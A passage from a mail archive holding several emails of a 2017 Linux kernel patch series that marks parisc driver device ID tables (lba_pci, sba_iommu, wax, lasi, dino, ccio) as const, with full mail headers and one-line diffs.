         /a3pUqGlZ0LQSUS+nxME2ObRbJP5qZI4B5T9RSTRIaroxs65XQVeYYyCCwumSjtdMeCz
         LjxDZMrNXVcydEqX/3doAxno2W5YcdL1HkMr15y9tihVvBb52OmT/fOvstRG3icQzphG
         fadkbb+EsMWO37LoybMzr8Ouz4tARL+mfMknOqnRWTyPFdolS7ra+cUPJNqi/02/0vdu
         1hZWc0TMhik9aZ6zne9BltbbGKxmGTzPuPBm5O9iTU4UMayiURiBD+gtw45tRBYertdO
         99Ww==
X-Gm-Message-State: AHYfb5jQunBFJGzdgdsGr7IcuiWhrZ4JSIxo2F1nS7lBnOJpR7pTDbXn
        dTaPMmwRNeCzNdMp
X-Received: by 10.84.209.171 with SMTP id y40mr14061169plh.118.1503164572861;
        Sat, 19 Aug 2017 10:42:52 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.50
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:52 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552958 gmane.linux.ports.parisc:27705
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552958>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/lba_pci.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index bc286cb..9d6179e 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1613,7 +1613,7 @@ lba_driver_probe(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id lba_tbl[] = {
+static const struct parisc_device_id lba_tbl[] = {
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, ELROY_HVERS, 0xa },
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, MERCURY_HVERS, 0xa },
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, QUICKSILVER_HVERS, 0xa },
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 7/8] parisc: sba_iommu: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:25 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-8-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164586 32038 195.159.176.226 (19 Aug 2017 17:43:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:43:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:43:02 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7lw-0007m2-Dk
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:42:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752307AbdHSRnA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:43:00 -0400
Original-Received: from mail-pg0-f66.google.com ([74.125.83.66]:37293 "EHLO
        mail-pg0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752249AbdHSRmz (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:55 -0400
Original-Received: by mail-pg0-f66.google.com with SMTP id 83so18728993pgb.4;
        Sat, 19 Aug 2017 10:42:55 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=/hnJw3W/D3HlT+Hb0DF0WwH0xHJkUyhG8ioR0J3yJyk=;
        b=szNlzRh7AEgWSjcMpqv7q81ipSdY0k7iP6LQjQf9RgWHApCKrU61vna73zMkoK8RzA
         B4e9Pi0XX8TLZ7slrTdrK9lN6JIZ0oBpcq686TSb+7bvxQKp+KFccfXZlTKgUTiiv4U8
         IaeSNkU0c22iJvvsoa7oHASwS0PwbLN9AiN1f/ahLv6s8qqN1gCFhb0W9HjLKCdAujsK
         mYD0sUy7kNwfpbFfvqsKBQ0ZxgfSXhAD9M0jgBuAf6V78rCwklXGlrxlL74hj8hqiWux
         TCOROG7qE8Hs3nbMzeI+uII4uvo5MokLQyB/oiWkXjRw673tbKw0GylBYSkNQkm5P4W4
         a8Tw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=/hnJw3W/D3HlT+Hb0DF0WwH0xHJkUyhG8ioR0J3yJyk=;
        b=VMecgw2Ve9W3Jh+2iuFwN7iJYLMDnWelGv39qXgGofH5hTmGkrn0YxwC4SNNWax8eV
         Wy7tiXiGMttuKkeFclN2YfgMqUsYVF928IdezgogMpmqLQEKf+VLiQI0SG7PIKpg34Xv
         us17bg5fCVmWZ3fbRlYnwOEmquBWgI86sZlWRQL92T5mQXeCubEk+qNGojFJqekF3ZX9
         hsotT9R+zuDD1zoO6MmU2PMVrML2USKrdcgyKV/Ktiyw2SN02gI3YL5/gSCQ3hnyHfRD
         PAuKYWYQuD/+knBYfrfWDjvYPxnoteuIhGjLAHR1em67qQZh3xpZl6IRx1ULEs08RW25
         wmGg==
X-Gm-Message-State: AHYfb5j6c+K9qzt/8sBp5Wsw95ETQIPEbL0nBCZMTWCV3thdVtqI0/xC
        Q5au/atyGmqrQA==
X-Received: by 10.84.237.2 with SMTP id s2mr13538288plk.70.1503164574937;
        Sat, 19 Aug 2017 10:42:54 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.53
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:54 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552959 gmane.linux.ports.parisc:27706
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552959>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/sba_iommu.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 4086f79..1bad85c 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -1905,7 +1905,7 @@ static const struct file_operations sba_proc_bitmap_fops = {
 };
 #endif /* CONFIG_PROC_FS */
 
-static struct parisc_device_id sba_tbl[] = {
+static const struct parisc_device_id sba_tbl[] = {
 	{ HPHW_IOA, HVERSION_REV_ANY_ID, ASTRO_RUNWAY_PORT, 0xb },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, IKE_MERCED_PORT, 0xc },
 	{ HPHW_BCPORT, HVERSION_REV_ANY_ID, REO_MERCED_PORT, 0xc },
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 8/8] parisc: wax: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:26 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-9-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164597 1935 195.159.176.226 (19 Aug 2017 17:43:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:43:17 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:43:14 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7mA-00006t-O3
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:43:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752376AbdHSRnP (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:43:15 -0400
Original-Received: from mail-pf0-f194.google.com ([209.85.192.194]:35214 "EHLO
        mail-pf0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752250AbdHSRm5 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:57 -0400
Original-Received: by mail-pf0-f194.google.com with SMTP id j68so3275775pfc.2;
        Sat, 19 Aug 2017 10:42:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=Zya5gEY8kuyTcuuiQB+oGJWmBKgT4UA+f82A9U0L53w=;
        b=AXqbS8nWjQYUMK0mxlXyB+uqGk1c3DCPEA87D79+5iVvVCaIp1+lzRQnvd3cOr0DjZ
         X4Kd9Y4Mf8cNRv2sjj2+Jt6F7rHFbIuiWZuJJJ05T2tY1g3y97Q8N7N2dbQcSc1P7Lsv
         8GGHLTGc5w6OCJFYrmT8LofvZ8maaByuEGb8kA5SnL4k/qd5Z+LW1ZLpto/s/TwbfNwk
         4888KvvDm7AMqJH2tvPXkxbiZ/DxnqPnRwvGhp2dA+7UyO6XOlfRnain4IYxc+YGeyJC
         vDDO1ynixrz8EXseLPnW8keTUuDFqjU0n8HNcIHLffxI3IazWiWRKBNTIxOoVpLun/YU
         +xVQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=Zya5gEY8kuyTcuuiQB+oGJWmBKgT4UA+f82A9U0L53w=;
        b=oH2z9jCvPlPtK2VfGLwc2MI7QQ9J180F5BWthi+Dm04u0IxpJFpO49zmxDB97nflCJ
         4UojCzW4ieg6ll5VIXZGQlmpuGy85NhjskWAcQnVTbFLbvVKMFMKR/wagwCsDQMVF1iN
         VH+buZsbwyeKX0zFqFfQvWSB9iK9Pb0mr89vFDqXkPlz/IoljBGRRzp7EKDFbo+ziHeZ
         jxrUvIhw63CtXOLKXgOuo7n382RguWjQ8nOstsKY0NK5yCPfmFcEOC10BL3tIrfXBC4r
         hILMuZdXIiTFTFYNcoifudRPHMR+0l5VkG3+cBuGPBBUT0qjRBc6Qsm8Lkhf3hY040Uu
         qRBA==
X-Gm-Message-State: AHYfb5hF+kckGAV5cdDNNqAYXgKKydn+LIiLfFMWrEThX4hZHsiQf6Oh
        WmkiCQZliQiwgrvq
X-Received: by 10.84.231.131 with SMTP id g3mr13548777plk.283.1503164577055;
        Sat, 19 Aug 2017 10:42:57 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.55
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:56 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552960 gmane.linux.ports.parisc:27707
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552960>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/wax.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/wax.c b/drivers/parisc/wax.c
index da9d5ad..e2d5238 100644
--- a/drivers/parisc/wax.c
+++ b/drivers/parisc/wax.c
@@ -125,7 +125,7 @@ static int __init wax_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id wax_tbl[] = {
+static const struct parisc_device_id wax_tbl[] = {
   	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x0008e },
 	{ 0, }
 };
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 5/8] parisc: lasi: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:23 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-6-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164621 6540 195.159.176.226 (19 Aug 2017 17:43:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:43:41 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:43:37 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7mZ-0001PJ-IR
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:43:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752476AbdHSRnk (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:43:40 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:34036 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752063AbdHSRmv (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:51 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id j83so1439883pfe.1;
        Sat, 19 Aug 2017 10:42:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=xnd9v6OXryYmkdtMLXHEddK43svJfIru1+hybqa4h7Q=;
        b=tA+YBlx49osdcjvEDW3Xn0M/djHhWTcSAG+QuKqyTgFy8Hkw0dUayJoeyQsJlnX+xr
         zqkfrdHODBfScaH/GexjiRq+SzQvhZ7PLFgados12NW9Tuj8ec0UtPZODQEmzf+htAdB
         0m+lmTRGbF3vr0kiVXkNDXSLXEzHIcheqMWD04HvM13/eKU2SQK+SwUVFEkGzOisWQe/
         UWbkVTIWGkZCmgyA+wMHHqOK2Nz/Ge4sIMhMruQbY7AyfCQLiaTbPuBXOo4PbdjaEkqp
         XqfCvXt9b49z9ANnqJyYwaLi8V3LYXPUsV3uKrC15ojxETnezO1x6RXyGAkhtOrWNWCH
         WIJA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=xnd9v6OXryYmkdtMLXHEddK43svJfIru1+hybqa4h7Q=;
        b=I/td2Wp1VuT/Q/a6Wk3WTCCn37fctot4zqG7QY8m4ImPgHkhuF1yNOZudODyO1evb7
         4VE/6lASidx5HXwpeBmfNYuM4inkUt/yVgRbEU8o9GSTJeNrsQfx1oMtOViYg3YpbELW
         vB+OyhZpFifpfX+oedVsY5YOzU20PKx93IkD/x8OCaBFw+/4tSx5YSCo74Y+tNHEyIoI
         ck7NZsC0nveGDcWy5NIFrs4CjcFj0VB6KKrPlq9o8wmo/7pFEkduKn/iUm7cFWq1iCVj
         8FprQtALw0DHiQ6wXhmubwea7aBtxam+oTmMUIggKbUUrvhEdFCro9mArH+bUxGJneKO
         pB0Q==
X-Gm-Message-State: AHYfb5hNpLuii2DL/edX0T/HTyPwioAvYlmLK+MguqKudj5gDeAfHa4j
        HWhO5U+6TX9VsW5U
X-Received: by 10.84.142.131 with SMTP id 3mr10775679plx.130.1503164570763;
        Sat, 19 Aug 2017 10:42:50 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.48
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:50 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552961 gmane.linux.ports.parisc:27708
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552961>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/lasi.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/lasi.c b/drivers/parisc/lasi.c
index e65727c..b77cf1e 100644
--- a/drivers/parisc/lasi.c
+++ b/drivers/parisc/lasi.c
@@ -227,7 +227,7 @@ static int __init lasi_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id lasi_tbl[] = {
+static const struct parisc_device_id lasi_tbl[] = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00081 },
 	{ 0, }
 };
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 3/8] parisc: dino: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:21 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-4-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164646 11967 195.159.176.226 (19 Aug 2017 17:44:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:44:06 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:44:02 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7mz-0002me-Df
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:44:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752517AbdHSRoG (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:44:06 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:34029 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752020AbdHSRmq (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:46 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id j83so1439828pfe.1;
        Sat, 19 Aug 2017 10:42:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=nD8tVk031aSaExbAOeVcAhjne9mRGoReXyOoVSvFlrc=;
        b=kP/AdwZ/x+er0dn6Zy5WGq5mHhNl/UBSkPqXRNvUlG7WdQD3k1ffnZqBSM9BJRBcUr
         xz+kIWaePCh744zCmYItXwdT/gBlZwly+Z4evpW4EV4nDX1kZHblwDisOIOfN5xKDW1B
         a5c9T/zMwTA1aFYppRS963hLTTI1QFC3xkZeTgkgjWdlDnNcqsKOKmxEs1fjSSDc5B6U
         yk2REZO2j7x69SQo7TZ5dAEheflhcQCCHb03K4eqeg6MsSZviLatFkTGOzJcWGj8WqT+
         orTq7sl4b+wDTwC18IErVuuSUUD+/06tVo9VAuqL4BQjka+CoyhNgxqpSF3WQQjbmpAO
         FhRQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=nD8tVk031aSaExbAOeVcAhjne9mRGoReXyOoVSvFlrc=;
        b=cLqmCzkdbzfY5vqjMH1guyWTVDHq1QLAkhfJmCfMSCGsEOfTx8tAsM22DYTGXX8P8x
         oy795Lane1qOFDs/AO51mbGShMX8yYKTEsOVh2T2SorCrirDVQ9MyeAFMSPQHYpZ3cph
         RMkQ2F9TUhXvVHVgUfWyUfVwZ7MhvAIhpJRph2yA9xEVC5QOQeFFTphkr30wjLFZ/iI1
         yqGx6RFllZCdEsQr+DQ0/DUuqOR2be6Thi72qliPti5jRG7BMzuvyJKJEFixB2H0q7yx
         83fk5aa4fUrc8pNzURfz0HGSAgv/X1b98N5BHCKSTpVyDn+3n7ZEjz68YsxdhhcUrm6r
         10aQ==
X-Gm-Message-State: AHYfb5gN+15oxeFO19NREct2OaXrSB04Z3q7Dc6hCJ1jFiN1XDKY6Rf+
        syYgTK8G3un8KQ==
X-Received: by 10.84.131.74 with SMTP id 68mr13325557pld.83.1503164566248;
        Sat, 19 Aug 2017 10:42:46 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.44
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:45 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552962 gmane.linux.ports.parisc:27709
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552962>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/dino.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 5c63b92..19c5c9a 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1022,7 +1022,7 @@ static int __init dino_probe(struct parisc_device *dev)
  * and 725 firmware misreport it as 0x08080 for no adequately explained
  * reason.
  */
-static struct parisc_device_id dino_tbl[] = {
+static const struct parisc_device_id dino_tbl[] = {
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, 0x004, 0x0009D },/* Card-mode Dino */
 	{ HPHW_A_DMA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x08080 }, /* XXX */
 	{ HPHW_BRIDGE, HVERSION_REV_ANY_ID, 0x680, 0xa }, /* Bridge-mode Dino */
-- 
2.7.4



From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 2/8] parisc: ccio: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:20 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-3-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164672 16512 195.159.176.226 (19 Aug 2017 17:44:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:44:32 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:44:24 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7nH-0003hq-Gs
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:44:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752534AbdHSRoY (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:44:24 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:34025 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751892AbdHSRmo (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:44 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id j83so1439791pfe.1;
        Sat, 19 Aug 2017 10:42:44 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=iasKKaQyKTnriZ6B9gn1cAYEkyx7e1OjPXnlq8aL1Co=;
        b=fjE5ddsXYhsbrC1JHHXCks1aWhengPrU3ArpSR79R1yf/fnTrBxg0OABgdVnLQPyiL
         E0RPOTg0II/excfcUSyoYmkplV1Y8CdiDK/lv5lkBdJZb11EGVTtbtXKo25dcrPB2mTI
         tPywNNMJf1SyODLSCf5BZxpzdznWIWFpJEWuJmei6yUiM6YmlxnZ0ls2mfNc4B0pVViz
         ncAVOUl3PMiJe5tpOabpvlx8D9NVNxwQVAd2z8krTL7E9Ae00xfjRVJNOPXa2eV0H9Sb
